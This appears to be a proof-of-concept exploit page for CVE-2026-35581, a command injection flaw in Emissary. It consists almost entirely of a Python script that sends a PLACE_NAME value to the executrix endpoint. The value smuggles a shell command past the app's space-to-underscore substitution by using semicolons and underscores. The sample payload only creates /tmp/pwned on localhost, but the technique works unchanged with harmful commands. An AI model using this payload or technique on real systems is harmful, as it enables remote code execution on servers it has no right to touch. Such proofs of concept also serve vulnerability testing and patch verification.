CVE-2026-35581 Emissary命令注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-35581 (Emissary Command Injection) # This demonstrates how a malicious PLACE_NAME can lead to RCE. import requests # Target URL (example) target = "http://localhost:8080/emissary/executrix" # The application replaces spaces with underscores. # We use semicolons to separate commands in the shell. # Payload: Create a file named 'pwned' in /tmp/ malicious_place_name = "validPlace;_touch_/tmp/pwned;_#" # Data payload to be sent data = { "PLACE_NAME": malicious_place_name, # Other necessary configuration parameters... } try: print(f"[+] Sending payload to {target}") response = requests.post(target, data=data) if response.status_code == 200: print("[+] Request sent successfully.") print("[*] Check if /tmp/pwned exists on the target system to verify exploitation.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")